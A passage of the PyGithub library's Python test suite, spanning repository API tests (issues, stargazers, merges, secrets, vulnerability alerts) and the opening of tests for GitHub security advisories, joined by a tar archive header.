self.assertListKeyEqual( self.repo.get_issues(since=datetime(2012, 5, 28, 23, 0, 0, tzinfo=timezone.utc)), lambda i: i.id, [4793216, 4793162, 4793106, 3624556, 3619973, 3527266], ) self.assertListKeyEqual(self.repo.get_issues(mentioned=otherUser), lambda i: i.id, [4793162]) def testGetIssuesWithWildcards(self): self.assertListKeyEqual( self.repo.get_issues(milestone="*"), lambda i: i.id, [4809786, 4793216, 4789817, 4452000, 3628022, 3624595, 3619973, 3527231], ) self.assertListKeyEqual( self.repo.get_issues(milestone="none"), lambda i: i.id, [4823331, 4809803, 4809778, 4793106, 3643837, 3527245], ) self.assertListKeyEqual( self.repo.get_issues(assignee="*"), lambda i: i.id, [ 4823331, 4809803, 4809786, 4809778, 4793216, 4793106, 4789817, 4452000, 3643837, 3628022, 3624595, 3527245, 3527231, ], ) self.assertListKeyEqual(self.repo.get_issues(assignee="none"), lambda i: i.id, [3619973]) def testGetKeys(self): self.assertListKeyEqual(self.repo.get_keys(), lambda k: k.title, ["Key added through PyGithub"]) def testGetLabels(self): self.assertListKeyEqual( self.repo.get_labels(), lambda lb: lb.name, [ "Refactoring", "Public interface", "Functionalities", "Project management", "Bug", "Question", ], ) def testGetLanguages(self): self.assertEqual(self.repo.get_languages(), {"Python": 127266, "Shell": 673}) def testGetMilestones(self): self.assertListKeyEqual(self.repo.get_milestones(), lambda m: m.id, [93547]) def testGetMilestonesWithArguments(self): self.assertListKeyEqual( self.repo.get_milestones("closed", "due_date", "asc"), lambda m: m.id, [93546, 95354, 108652, 124045], ) def testGetIssuesEvents(self): self.assertListKeyBegin( self.repo.get_issues_events(), lambda e: e.event, ["assigned", "subscribed", "closed", "assigned", "closed"], ) def testGetNetworkEvents(self): self.assertListKeyBegin( self.repo.get_network_events(), lambda e: e.type, [ "DownloadEvent", "DownloadEvent", "PushEvent", "IssuesEvent", "MemberEvent", ], ) def testGetTeams(self): repo = self.g.get_organization("BeaverSoftware").get_repo("FatherBeaver") self.assertListKeyEqual(repo.get_teams(), lambda t: t.name, ["Members"]) def testGetWatchers(self): self.assertListKeyEqual( self.repo.get_watchers(), lambda u: u.login, [ "Stals", "att14", "jardon-u", "huxley", "mikofski", "L42y", "fanzeyi", "abersager", "waylan", "adericbourg", "tallforasmurf", "pvicente", "roskakori", "michaelpedersen", "BeaverSoftware", ], ) def testGetWorkflows(self): workflows = self.g.get_repo("PyGithub/PyGithub").get_workflows() self.assertListKeyEqual(workflows, lambda w: w.name, ["check", "Publish to PyPI"]) def testGetWorkflowId(self): workflows = self.g.get_repo("PyGithub/PyGithub").get_workflow("1122712") self.assertEqual(workflows.id, 1122712) def testGetWorkflowRuns(self): self.assertListKeyEqual( self.g.get_repo("PyGithub/PyGithub").get_workflow_runs(), lambda r: r.id, [110932306, 110932159, 110932072, 110286191, 110278769], ) def testGetWorkflowRunsCreated(self): self.assertListKeyEqual( self.g.get_repo("PyGithub/PyGithub").get_workflow_runs(created="2022-12-24"), lambda r: r.id, [3770390952], ) def testGetSourceImport(self): import_repo = self.g.get_user("brix4dayz").get_repo("source-import-test") source_import = import_repo.get_source_import() self.assertEqual(source_import.authors_count, 1) self.assertEqual( source_import.authors_url, "https://api.github.com/repos/brix4dayz/source-import-test/import/authors", ) self.assertEqual(source_import.has_large_files, False) self.assertEqual( source_import.html_url, "https://github.com/brix4dayz/source-import-test/import", ) self.assertEqual(source_import.large_files_count, 0) self.assertEqual(source_import.large_files_size, 0) self.assertEqual( source_import.repository_url, "https://api.github.com/repos/brix4dayz/source-import-test", ) self.assertEqual(source_import.status, "complete") self.assertEqual(source_import.status_text, "Done") self.assertEqual( source_import.url, "https://api.github.com/repos/brix4dayz/source-import-test/import", ) self.assertEqual(source_import.use_lfs, "undecided") self.assertEqual(source_import.vcs, "mercurial") self.assertEqual(source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test") def testGetStargazers(self): self.assertListKeyEqual( self.repo.get_stargazers(), lambda u: u.login, [ "Stals", "att14", "jardon-u", "huxley", "mikofski", "L42y", "fanzeyi", "abersager", "waylan", "adericbourg", "tallforasmurf", "pvicente", "roskakori", "michaelpedersen", "stefanfoulis", "equus12", "JuRogn", "joshmoore", "jsilter", "dasapich", "ritratt", "hcilab", "vxnick", "pmuilu", "herlo", "malexw", "ahmetvurgun", "PengGu", "cosmin", "Swop", "kennethreitz", "bryandyck", "jason2506", "zsiciarz", "waawal", "gregorynicholas", "sente", "richmiller55", "thouis", "mazubieta", "michaelhood", "engie", "jtriley", "oangeor", "coryking", "noddi", "alejo8591", "omab", "Carreau", "bilderbuchi", "schwa", "rlerallut", "PengHub", "zoek1", "xobb1t", "notgary", "hattya", "ZebtinRis", "aaronhall", "youngsterxyf", "ailling", "gregwjacobs", "n0rmrx", "awylie", "firstthumb", "joshbrand", "berndca", ], ) def testGetStargazersWithDates(self): repo = self.g.get_user("danvk").get_repo("comparea") stargazers = repo.get_stargazers_with_dates() self.assertListKeyEqual( stargazers, lambda stargazer: (stargazer.starred_at, stargazer.user.login), [ ( datetime(2014, 8, 13, 19, 22, 5, tzinfo=timezone.utc), "sAlexander", ), ( datetime(2014, 10, 15, 5, 2, 30, tzinfo=timezone.utc), "ThomasG77", ), ( datetime(2015, 4, 14, 15, 22, 40, tzinfo=timezone.utc), "therusek", ), ( datetime(2015, 4, 29, 0, 9, 40, tzinfo=timezone.utc), "athomann", ), ( datetime(2015, 4, 29, 14, 26, 46, tzinfo=timezone.utc), "jcapron", ), ( datetime(2015, 5, 9, 19, 14, 45, tzinfo=timezone.utc), "JoePython1", ), ], ) self.assertEqual(repr(stargazers[0]), 'Stargazer(user="sAlexander")') def testGetSubscribers(self): self.assertListKeyEqual( self.repo.get_subscribers(), lambda u: u.login, [ "jacquev6", "equus12", "bilderbuchi", "hcilab", "hattya", "firstthumb", "gregwjacobs", "sagarsane", "liang456", "berndca", "Lyloa", ], ) def testCreatePull(self): pull = self.repo.create_pull( title="Pull request created by PyGithub", body="Body of the pull request", base="topic/RewriteWithGeneratedCode", head="BeaverSoftware:master", draft=False, maintainer_can_modify=True, ) self.assertEqual(pull.id, 1436215) def testCreateProject(self): project = self.repo.create_project("Project created by PyGithub", "Body of the project") self.assertEqual(project.id, 2013820) def testCreatePullFromIssue(self): issue = self.repo.get_issue(32) pull = self.repo.create_pull("topic/RewriteWithGeneratedCode", "BeaverSoftware:master", issue=issue) self.assertEqual(pull.id, 1436310) def testGetPulls(self): self.assertListKeyEqual(self.repo.get_pulls(), lambda p: p.id, [1436310]) def testGetPullsWithArguments(self): self.assertListKeyEqual(self.repo.get_pulls("closed"), lambda p: p.id, [1448168, 1436310, 1436215]) def testGetAutolinks(self): self.assertListKeyEqual( self.repo.get_autolinks(), lambda i: i.id, [ 209614, 209611, ], ) def testLegacySearchIssues(self): issues = self.repo.legacy_search_issues("open", "search") self.assertListKeyEqual(issues, lambda i: i.title, ["Support new Search API"]) # Attributes retrieved from legacy API without lazy completion call self.assertEqual(issues[0].number, 49) self.assertEqual( issues[0].created_at, datetime(2012, 6, 21, 12, 27, 38, tzinfo=timezone.utc), ) self.assertEqual(issues[0].comments, 4) self.assertEqual(issues[0].body[:20], "New API ported from ") self.assertEqual(issues[0].title, "Support new Search API") self.assertEqual( issues[0].updated_at, datetime(2012, 6, 28, 21, 13, 25, tzinfo=timezone.utc), ) self.assertEqual(issues[0].user.login, "kukuts") self.assertEqual(issues[0].user.url, "/users/kukuts") self.assertListKeyEqual(issues[0].labels, lambda lb: lb.name, ["Functionalities", "RequestedByUser"]) self.assertEqual(issues[0].state, "open") def testMarkNotificationsAsRead(self): repo = self.g.get_user().get_repo("PyGithub") repo.mark_notifications_as_read(datetime(2018, 10, 18, 18, 19, 43, 0)) def testAssignees(self): lyloa = self.g.get_user("Lyloa") jacquev6 = self.g.get_user("jacquev6") self.assertTrue(self.repo.has_in_assignees(jacquev6)) self.assertFalse(self.repo.has_in_assignees(lyloa)) self.repo.add_to_collaborators(lyloa) self.assertTrue(self.repo.has_in_assignees(lyloa)) self.assertListKeyEqual(self.repo.get_assignees(), lambda u: u.login, ["jacquev6", "Lyloa"]) self.repo.remove_from_collaborators(lyloa) self.assertFalse(self.repo.has_in_assignees(lyloa)) def testGetContents(self): self.assertEqual(len(self.repo.get_readme().content), 10212) self.assertEqual(len(self.repo.get_contents("doc/ReferenceOfClasses.md").content), 38121) def testGetContentsDir(self): contents = self.repo.get_contents("") self.assertTrue(isinstance(contents, list)) self.assertEqual(len(contents), 14) def testGetContentsDirWithSlash(self): contents = self.repo.get_contents("/") self.assertTrue(isinstance(contents, list)) self.assertEqual(len(contents), 14) def testGetContentsWithRef(self): self.assertEqual( len(self.repo.get_readme(ref="refs/heads/topic/ExperimentOnDocumentation").content), 6747, ) self.assertEqual( len( self.repo.get_contents( "doc/ReferenceOfClasses.md", ref="refs/heads/topic/ExperimentOnDocumentation", ).content ), 43929, ) def testCreateDeployment(self): deployment = self.repo.create_deployment( ref="743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5", task="deploy", auto_merge=False, required_contexts=[], payload={"test": True}, environment="test", description="Test deployment", transient_environment=True, production_environment=False, ) self.assertEqual(deployment.id, 263877258) def testGetDeployments(self): deployments = self.repo.get_deployments() self.assertListKeyEqual(deployments, lambda d: d.id, [263877258, 262350588]) def testGetDiscussions(self): repo = self.g.get_repo("PyGithub/PyGithub") discussion_schema = """ author { login } number repository { owner { login } name } title """ discussions_pages = repo.get_discussions(discussion_schema) discussions = list(discussions_pages) # would perform an extra request if called before iterating discussions_pages self.assertEqual(discussions_pages.totalCount, 65) self.assertEqual(len(discussions), 65) self.assertEqual(discussions[0].number, 3044) self.assertEqual(discussions[-1].number, 1780) discussion = discussions[28] self.assertEqual(discussion.author.login, "arunanandhan") self.assertEqual(discussion.number, 2480) self.assertEqual(discussion.repository.owner.login, "PyGithub") self.assertEqual(discussion.repository.name, "PyGithub") self.assertEqual(discussion.title, "Is there a way to search if a string present in default branch?") def testGetDiscussion(self): repo = self.g.get_repo("PyGithub/PyGithub") discussion = repo.get_discussion(2205, "author { login } number title") self.assertEqual(discussion.author.login, "EnricoMi") self.assertEqual(discussion.number, 2205) self.assertEqual(discussion.title, "Is the PyGithub project dead? How can the community help?") def testGetDiscussionsByAnswered(self): repo = self.g.get_repo("PyGithub/PyGithub") discussions = repo.get_discussions("number title", answered=True) self.assertListEqual( [d.number for d in discussions], [2993, 2619, 2104, 2500, 2292, 2153, 2277, 2023, 1964, 1778] ) def testGetDiscussionsByCategory(self): repo = self.g.get_repo("PyGithub/PyGithub") discussions = repo.get_discussions("number title", category_id="MDE4OkRpc2N1c3Npb25DYXRlZ29yeTMyMDI5MDYy") self.assertListEqual([d.number for d in discussions], [3044, 2997, 2057, 2242, 2173, 1993, 1780]) def testGetDiscussionsByStates(self): repo = self.g.get_repo("PyGithub/PyGithub") discussions = repo.get_discussions("number title", states=["CLOSED"]) self.assertListEqual([d.number for d in discussions], [2938, 2495, 2559, 2104, 2539, 2480]) def testCreateFile(self): newFile = "doc/testCreateUpdateDeleteFile.md" content = b"Hello world" author = github.InputGitAuthor("Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00") self.assertEqual(repr(author), 'InputGitAuthor(name="Enix Yu")') self.repo.create_file( path=newFile, message="Create file for testCreateFile", content=content, branch="master", committer=author, author=author, ) def testUpdateFile(self): updateFile = "doc/testCreateUpdateDeleteFile.md" content = "Hello World" sha = self.repo.get_contents(updateFile).sha self.repo.update_file( path=updateFile, message="Update file for testUpdateFile", content=content, sha=sha, branch="master", committer=github.InputGitAuthor("Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00"), author=github.InputGitAuthor("Enix Yu", "enix223@163.com", "2016-01-15T16:13:30+12:00"), ) def testDeleteFile(self): deleteFile = "doc/testCreateUpdateDeleteFile.md" sha = self.repo.get_contents(deleteFile).sha self.repo.delete_file( path=deleteFile, message="Delete file for testDeleteFile", sha=sha, branch="master", ) def testGetArchiveLink(self): self.assertEqual( self.repo.get_archive_link("tarball"), "https://nodeload.github.com/PyGithub/PyGithub/tarball/master", ) self.assertEqual( self.repo.get_archive_link("zipball"), "https://nodeload.github.com/PyGithub/PyGithub/zipball/master", ) self.assertEqual( self.repo.get_archive_link("zipball", "master"), "https://nodeload.github.com/PyGithub/PyGithub/zipball/master", ) self.assertEqual( self.repo.get_archive_link("tarball", "develop"), "https://nodeload.github.com/PyGithub/PyGithub/tarball/develop", ) def testGetBranch(self): branch = self.repo.get_branch("develop") self.assertEqual(branch.commit.sha, "03058a36164d2a7d946db205f25538434fa27d94") def testRenameBranchObject(self): branch = self.repo.get_branch("neat-new-feature") self.assertTrue(self.repo.rename_branch(branch, "terrible-idea")) def testRenameBranchString(self): self.assertTrue(self.repo.rename_branch("neat-new-feature", "terrible-idea")) def testMergeWithoutMessage(self): commit = self.repo.merge("branchForBase", "branchForHead") self.assertEqual(commit.commit.message, "Merge branchForHead into branchForBase") def testMergeWithMessage(self): commit = self.repo.merge("branchForBase", "branchForHead", "Commit message created by PyGithub") self.assertEqual(commit.commit.message, "Commit message created by PyGithub") def testMergeWithNothingToDo(self): commit = self.repo.merge("branchForBase", "branchForHead", "Commit message created by PyGithub") self.assertEqual(commit, None) def testMergeWithConflict(self): with self.assertRaises(github.GithubException) as raisedexp: self.repo.merge("branchForBase", "branchForHead") self.assertEqual(raisedexp.exception.message, "Merge conflict") self.assertEqual(raisedexp.exception.status, 409) self.assertEqual(raisedexp.exception.data, {"message": "Merge conflict"}) def testMergeUpstreamSuccess(self): # Use fork for being able to update it repo = self.g.get_repo("Felixoid/PyGithub") # First one to sync with upstream result = repo.merge_upstream("main") self.assertEqual(result.message, "Successfully fetched and fast-forwarded from upstream PyGithub:main.") self.assertEqual(result.base_branch, "PyGithub:main") self.assertEqual(result.merge_type, "fast-forward") # Second one to check it's already synced result = repo.merge_upstream("main") self.assertEqual(result.message, "This branch is not behind the upstream PyGithub:main.") self.assertEqual(result.base_branch, "PyGithub:main") self.assertEqual(result.merge_type, "none") def testMergeUpstreamFailure(self): # Use fork for being able to update it repo = self.g.get_repo("Felixoid/PyGithub") with self.assertRaises(github.GithubException) as raisedexp: repo.merge_upstream("doesNotExist") self.assertEqual(raisedexp.exception.status, 404) self.assertEqual(raisedexp.exception.message, "Branch not found") with self.assertRaises(github.GithubException) as raisedexp: repo.merge_upstream("merge-conflict") self.assertEqual(raisedexp.exception.status, 409) self.assertEqual(raisedexp.exception.message, "There are merge conflicts") def testGetIssuesComments(self): self.assertListKeyEqual( self.repo.get_issues_comments()[:40], lambda c: c.id, [ 5168757, 5181640, 5183010, 5186061, 5226090, 5449237, 5518272, 5547576, 5780183, 5781803, 5820199, 5820912, 5924198, 5965724, 5965812, 5965891, 5966555, 5966633, 5981084, 5981232, 5981409, 5981451, 5991965, 6019700, 6088432, 6293572, 6305625, 6357374, 6357422, 6447481, 6467193, 6467312, 6467642, 6481200, 6481392, 6556134, 6557261, 6568164, 6568181, 6568553, ], ) self.assertListKeyEqual( self.repo.get_issues_comments(sort="created", direction="asc")[:40], lambda c: c.id, [ 5168757, 5181640, 5183010, 5186061, 5226090, 5449237, 5518272, 5547576, 5780183, 5781803, 5820199, 5820912, 5924198, 5965724, 5965812, 5965891, 5966555, 5966633, 5981084, 5981232, 5981409, 5981451, 5991965, 6019700, 6088432, 6293572, 6305625, 6357374, 6357422, 6447481, 6467193, 6467312, 6467642, 6481200, 6481392, 6556134, 6557261, 6568164, 6568181, 6568553, ], ) self.assertListKeyEqual( self.repo.get_issues_comments(since=datetime(2012, 5, 28, 23, 0, 0))[:40], lambda c: c.id, [ 5981084, 5981232, 5981409, 5981451, 5991965, 6019700, 6088432, 6293572, 6305625, 6357374, 6357422, 6447481, 6467193, 6467312, 6467642, 6481200, 6481392, 6556134, 6557261, 6568164, 6568181, 6568553, 6640187, 6640189, 6641223, 6673380, 6710355, 6727553, 6727659, 6727848, 6728069, 6728241, 6728370, 6886561, 6972414, 6994436, 7060818, 7060993, 7211543, 7407798, ], ) def testGetPullsComments(self): self.assertListKeyEqual(self.repo.get_pulls_comments(), lambda c: c.id, [1580134]) self.assertListKeyEqual( self.repo.get_pulls_comments(sort="created", direction="asc"), lambda c: c.id, [1580134], ) self.assertListKeyEqual( self.repo.get_pulls_comments(since=datetime(2012, 5, 28, 23, 0, 0)), lambda c: c.id, [1580134], ) def testSubscribePubSubHubbub(self): self.repo.subscribe_to_hub("push", "http://requestb.in/1bc1sc61", "my_secret") def testBadSubscribePubSubHubbub(self): with self.assertRaises(github.GithubException) as raisedexp: self.repo.subscribe_to_hub("non-existing-event", "http://requestb.in/1bc1sc61") self.assertEqual(raisedexp.exception.message, 'Invalid event: "non-existing-event"') self.assertEqual(raisedexp.exception.status, 422) self.assertEqual(raisedexp.exception.data, {"message": 'Invalid event: "non-existing-event"'}) def testUnsubscribePubSubHubbub(self): self.repo.unsubscribe_from_hub("push", "http://requestb.in/1bc1sc61") def testStatisticsContributors(self): stats = self.repo.get_stats_contributors() seenJacquev6 = False for s in stats: adTotal = 0 total = 0 for w in s.weeks: total += w.c adTotal += w.a + w.d self.assertEqual(total, s.total) if s.author.login == "jacquev6": seenJacquev6 = True self.assertEqual(adTotal, 282147) self.assertEqual( s.weeks[0].w, datetime(2012, 2, 12, tzinfo=timezone.utc), ) self.assertTrue(seenJacquev6) def testStatisticsCommitActivity(self): stats = self.repo.get_stats_commit_activity() self.assertEqual( stats[0].week, datetime(2012, 11, 18, 0, 0, tzinfo=timezone.utc), ) self.assertEqual(stats[0].total, 29) self.assertEqual(stats[0].days, [0, 7, 3, 9, 7, 3, 0]) def testStatisticsCodeFrequency(self): stats = self.repo.get_stats_code_frequency() self.assertEqual( stats[0].week, datetime(2012, 2, 12, 0, 0, tzinfo=timezone.utc), ) self.assertEqual(stats[0].additions, 3853) self.assertEqual(stats[0].deletions, -2098) def testStatisticsParticipation(self): stats = self.repo.get_stats_participation() self.assertEqual( stats.owner, [ 1, 36, 8, 0, 0, 8, 18, 0, 0, 0, 0, 7, 20, 6, 9, 0, 4, 11, 20, 16, 0, 3, 0, 16, 0, 0, 6, 1, 4, 0, 1, 6, 0, 0, 12, 10, 0, 0, 0, 1, 44, 0, 20, 10, 0, 0, 0, 0, 0, 10, 0, 0, ], ) self.assertEqual( stats.all, [ 4, 36, 8, 0, 0, 10, 20, 0, 0, 0, 0, 11, 20, 6, 9, 0, 4, 14, 21, 16, 0, 3, 0, 20, 0, 0, 8, 1, 9, 16, 1, 15, 1, 0, 12, 12, 0, 4, 6, 15, 116, 20, 20, 11, 0, 0, 0, 0, 0, 10, 0, 0, ], ) def testStatisticsPunchCard(self): stats = self.repo.get_stats_punch_card() self.assertEqual(stats.get(4, 12), 7) self.assertEqual(stats.get(6, 18), 2) def testGetLicense(self): self.assertEqual(len(self.repo.get_license().content), 47646) def testGetTopics(self): topic_list = self.repo.get_topics() topic = "github" self.assertIn(topic, topic_list) def testReplaceTopics(self): self.repo.replace_topics(["github", "testing"]) def testGetRepositoryWith301Redirect(self): repo = self.g.get_repo("protoncoin/protoncoin") self.assertEqual(repo.full_name, "padima2/protoncoin") def testGetMatchingRefs(self): refs = self.g.get_repo("FlorentClarret/PyGithub").get_git_matching_refs("tags") self.assertEqual(85, refs.totalCount) self.assertEqual("refs/tags/v0.1", refs[0].ref) self.assertEqual("refs/tags/v0.2", refs[1].ref) self.assertEqual("refs/tags/v0.3", refs[2].ref) self.assertEqual("refs/tags/v0.4", refs[3].ref) self.assertEqual("refs/tags/v0.5", refs[4].ref) self.assertEqual("refs/tags/v0.6", refs[5].ref) def testRepoVariable(self): variable = self.repo.create_variable("variable_name", "variable-value") self.assertTrue(variable.edit("variable-value123")) variable.delete() def testRepoVariables(self): # GitHub will always capitalize the variable name variables = (("VARIABLE_NAME_ONE", "variable-value-one"), ("VARIABLE_NAME_TWO", "variable-value-two")) repo = self.g.get_repo("AndrewJDawes/PyGithub") for variable in variables: repo.create_variable(variable[0], variable[1]) repo.update() repo_variables = repo.get_variables() matched_repo_variables = [] for variable in variables: for repo_variable in repo_variables: # GitHub will always capitalize the variable name, may be best to uppercase test data for comparison if repo_variable.name == variable[0].upper() and repo_variable.value == variable[1]: matched_repo_variables.append(repo_variable) break self.assertEqual(len(matched_repo_variables), len(variables)) for matched_repo_variable in matched_repo_variables: matched_repo_variable.delete() @mock.patch("github.PublicKey.encrypt") def testCreateRepoActionsSecret(self, encrypt): repo = self.g.get_repo("demoorg/demo-repo-1") # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" secret = repo.create_secret("secret_name", "secret-value", "actions") self.assertIsNotNone(secret) @mock.patch("github.PublicKey.encrypt") def testCreateRepoDependabotSecret(self, encrypt): repo = self.g.get_repo("demoorg/demo-repo-1") # encrypt returns a non-deterministic value, we need to mock it so the replay data matches encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" secret = repo.create_secret("secret_name", "secret-value", "dependabot") self.assertIsNotNone(secret) def testRepoGetSecretAssertion(self): repo = self.g.get_repo("demoorg/demo-repo-1") with self.assertRaises(AssertionError) as exc: repo.get_secret(secret_name="splat", secret_type="supersecret") self.assertEqual(str(exc.exception), "secret_type should be actions or dependabot") def testGetCustomProperties(self): custom_properties = self.repo.get_custom_properties() self.assertDictEqual(custom_properties, {"foo": "bar"}) def testUpdateCustomProperties(self): custom_properties = {"foo": "bar"} self.repo.update_custom_properties(custom_properties) def testTransferOwnership(self): status = self.repo.transfer_ownership(new_owner="An-Nie-Tan-99", new_name="PyGithub-test") self.assertTrue(status) def testTransferOwnershipInvalidOwner(self): with self.assertRaises(github.GithubException) as raisedexp: self.repo.transfer_ownership("new_owner") self.assertEqual(raisedexp.exception.status, 422) self.assertEqual( raisedexp.exception.data, { "message": "Invalid new_owner", "documentation_url": "https://docs.github.com/rest/repos/repos#transfer-a-repository", "status": "422", }, ) class LazyRepository(Framework.TestCase): def setUp(self): super().setUp() self.repository_name = "PyGithub/PyGithub" def getLazyRepository(self): return self.g.get_repo(self.repository_name, lazy=True) def getEagerRepository(self): return self.g.get_repo(self.repository_name, lazy=False) def testGetIssues(self): lazy_repo = self.getLazyRepository() issues = lazy_repo.get_issues() eager_repo = self.getEagerRepository() issues2 = eager_repo.get_issues() self.assertListKeyEqual(issues2, id, [x for x in issues]) def testOwner(self): lazy_repo = self.getLazyRepository() owner = lazy_repo.owner eager_repo = self.getEagerRepository() self.assertEqual(owner, eager_repo.owner) def testEnableVulnerabilityAlert(self): lazy_repo = self.getLazyRepository() self.assertTrue(lazy_repo.enable_vulnerability_alert()) lazy_repo = self.g.get_repo("random", lazy=True) self.assertFalse(lazy_repo.enable_vulnerability_alert()) def testEnableAutomatedSecurityFixes(self): lazy_repo = self.getLazyRepository() self.assertTrue(lazy_repo.enable_automated_security_fixes()) lazy_repo = self.g.get_repo("random", lazy=True) self.assertFalse(lazy_repo.enable_automated_security_fixes()) def testDisableAutomatedSecurityFixes(self): lazy_repo = self.getLazyRepository() self.assertTrue(lazy_repo.disable_automated_security_fixes()) lazy_repo = self.g.get_repo("random", lazy=True) self.assertFalse(lazy_repo.disable_automated_security_fixes()) def testGetVulnerabilityAlert(self): lazy_repo = self.getEagerRepository() self.assertTrue(lazy_repo.get_vulnerability_alert()) lazy_repo = self.g.get_repo("random", lazy=True) self.assertFalse(lazy_repo.get_vulnerability_alert()) def testDisableVulnerabilityAlert(self): lazy_repo = self.getLazyRepository() self.assertTrue(lazy_repo.disable_vulnerability_alert()) lazy_repo = self.g.get_repo("random", lazy=True) self.assertFalse(lazy_repo.disable_vulnerability_alert()) def testChangeAutomateFixWhenNoVulnerabilityAlert(self): lazy_repo = self.getLazyRepository() self.assertFalse(lazy_repo.enable_automated_security_fixes()) self.assertFalse(lazy_repo.disable_automated_security_fixes()) def testGetVulnerabilityAlertWhenTurnedOff(self): lazy_repo = self.getEagerRepository() self.assertFalse(lazy_repo.get_vulnerability_alert()) def testRequester(self): lazy_repo = self.getLazyRepository() assert lazy_repo.requester is lazy_repo._requester ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/RepositoryAdvisory.py0000644000175100001660000003605614756101563020414 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone import github.RepositoryAdvisory from . import Framework class RepositoryAdvisory(Framework.TestCase): advisory: github.RepositoryAdvisory.RepositoryAdvisory def setUp(self): super().setUp() self.repo = self.g.get_user().get_repo("security-research") self.advisory = self.repo.get_repository_advisory("GHSA-wmmh-r9w4-hpxx") self.advisory.clear_credits() self.advisory.offer_credit("octocat", "analyst") def testAttributes(self): self.assertEqual(self.advisory.author.login, "JLLeitschuh") self.assertEqual(self.advisory.closed_at, None) self.assertIsNone(self.advisory.collaborating_teams) self.assertEqual( self.advisory.created_at, datetime(2023, 3, 28, 21, 41, 40, tzinfo=timezone.utc), ) self.assertListKeyEqual(self.advisory.credits, lambda e: (e.login, e.type), [("octocat", "analyst")]) self.assertListKeyEqual( self.advisory.credits_detailed, lambda e: (e.user.login, e.type), [("octocat", "analyst")], ) self.assertEqual(self.advisory.cve_id, "CVE-2023-00000") self.assertEqual(self.advisory.cvss.vector_string, "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H") self.assertIsNone(self.advisory.cvss_severities) self.assertListEqual(self.advisory.cwe_ids, ["CWE-400", "CWE-501"]) self.assertListKeyEqual( self.advisory.cwes, lambda e: (e.cwe_id, e.name), [ ("CWE-400", "Uncontrolled Resource Consumption"), ("CWE-501", "Trust Boundary Violation"), ], ) self.assertEqual( self.advisory.description, "This is a detailed description of this advisories impact and patches.", ) self.assertEqual(self.advisory.ghsa_id, "GHSA-wmmh-r9w4-hpxx") self.assertEqual( self.advisory.html_url, "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-wmmh-r9w4-hpxx", ) self.assertEqual( self.advisory.identifiers, [{"value": "GHSA-wmmh-r9w4-hpxx", "type": "GHSA"}, {"value": "CVE-2023-00000", "type": "CVE"}], ) self.assertIsNone(self.advisory.private_fork) self.assertEqual(self.advisory.published_at, None) self.assertIsNone(self.advisory.publisher) self.assertEqual(self.advisory.severity, "high") self.assertEqual(self.advisory.state, "draft") self.assertIsNone(self.advisory.submission) self.assertEqual(self.advisory.summary, "A test creating a GHSA via the API") self.assertEqual( self.advisory.updated_at, datetime(2023, 3, 30, 19, 31, 33, tzinfo=timezone.utc), ) self.assertEqual( self.advisory.url, "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-wmmh-r9w4-hpxx", ) self.assertListKeyEqual( self.advisory.vulnerabilities, lambda e: ( (e.package.ecosystem, e.package.name), e.patched_versions, e.vulnerable_functions, e.vulnerable_version_range, ), [(("npm", "a-package"), "1.0.5", ["function-name"], ">= 1.0.2")], ) self.assertEqual(self.advisory.withdrawn_at, None) def testRemoveCredit(self): self.advisory.revoke_credit("octocat") self.assertListKeyEqual( self.advisory.credits, lambda e: e.login, [], ) self.assertListKeyEqual( self.advisory.credits_detailed, lambda e: e.user.login, [], ) def testOfferCredit(self): self.advisory.offer_credit("JLLeitschuh", "reporter") self.assertListKeyEqual( self.advisory.credits, lambda e: e.login, ["octocat", "JLLeitschuh"], ) self.assertListKeyEqual( self.advisory.credits_detailed, lambda e: e.user.login, ["octocat", "JLLeitschuh"], ) def testOfferCredits(self): self.advisory.clear_credits() self.advisory.offer_credits( [ {"login": "octocat", "type": "sponsor"}, {"login": "JLLeitschuh", "type": "reporter"}, ] ) self.assertListKeyEqual( self.advisory.credits_detailed, lambda e: (e.user.login, e.type), [("octocat", "sponsor"), ("JLLeitschuh", "reporter")], ) def testRepositoryWithNoAdvisories(self): repo = self.g.get_user().get_repo("PyGithub") self.assertListKeyEqual( repo.get_repository_advisories(), lambda e: e.ghsa_id, [], ) def testGetAdvisories(self): self.assertListKeyEqual( self.repo.get_repository_advisories(), lambda e: e.ghsa_id, [ "GHSA-wmmh-r9w4-hpxx", "GHSA-wvgm-59wj-rh8h", "GHSA-22cq-8f5q-p5g2", "GHSA-7hfp-mpq6-2jhf", "GHSA-hfmw-fx2m-jj4c", "GHSA-rvp4-r3g6-8hxq", "GHSA-cm59-pr5q-cw85", "GHSA-vpcc-9rh2-8jfp", "GHSA-7fjx-657r-9r5h", "GHSA-22c6-wcjm-qfjg", "GHSA-5w9v-8x7x-rfqm", "GHSA-2r85-x9cf-8fcg", "GHSA-6m9h-r5m3-9r7f", "GHSA-f4jh-ww96-9h9j", "GHSA-j83w-7qr9-wv86", "GHSA-7gf3-89f6-823j", "GHSA-jpcm-4485-69p7", ], ) def testCreateRepositoryAdvisory(self): repo = 